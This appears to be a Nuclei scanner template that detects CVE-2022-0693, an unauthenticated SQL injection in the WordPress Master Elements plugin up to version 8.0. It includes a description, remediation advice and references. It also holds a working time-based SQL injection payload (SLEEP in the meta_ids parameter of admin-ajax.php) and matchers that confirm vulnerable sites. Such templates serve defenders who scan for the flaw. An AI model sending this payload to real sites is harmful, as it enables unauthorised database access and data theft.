WordPress Master Elements plugin through 8.0 contains a SQL injection vulnerability. The plugin does not validate and escape the meta_ids parameter of its remove_post_meta_condition AJAX action, available to both unauthenticated and authenticated users, before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
PoC代码[已公开]
id: CVE-2022-0693
info:
name: WordPress Master Elements <=8.0 - SQL Injection
author: theamanrawat
severity: critical
description: |
WordPress Master Elements plugin through 8.0 contains a SQL injection vulnerability. The plugin does not validate and escape the meta_ids parameter of its remove_post_meta_condition AJAX action, available to both unauthenticated and authenticated users, before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site.
remediation: |
Update to the latest version of WordPress Master Elements plugin (>=8.1) to mitigate the SQL Injection vulnerability.
reference:
- https://wpscan.com/vulnerability/a72bf075-fd4b-4aa5-b4a4-5f62a0620643
- https://wordpress.org/plugins/master-elements
- https://nvd.nist.gov/vuln/detail/CVE-2022-0693
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-0693
cwe-id: CWE-89
epss-score: 0.60172
epss-percentile: 0.98222
cpe: cpe:2.3:a:devbunch:master_elements:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: devbunch
product: master_elements
framework: wordpress
tags: time-based-sqli,cve2022,cve,unauth,wpscan,wp-plugin,wp,sqli,wordpress,master-elements,devbunch
http:
- raw:
- |
@timeout: 10s
GET /wp-admin/admin-ajax.php?meta_ids=1+AND+(SELECT+3066+FROM+(SELECT(SLEEP(6)))CEHy)&action=remove_post_meta_condition HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(body, "Post Meta Setting Deleted Successfully")'
condition: and
# digest: 4a0a00473045022007db61ef707965b8e002be3f411de54b870eddae7c8f4ffbcc8b6be19cbc7974022100f4b8b25070e0ac0e73bd00101a45ec5f989a7005e5580816dca3fa8d42cf6c98:922c64590222798bb761d5b6d8e72950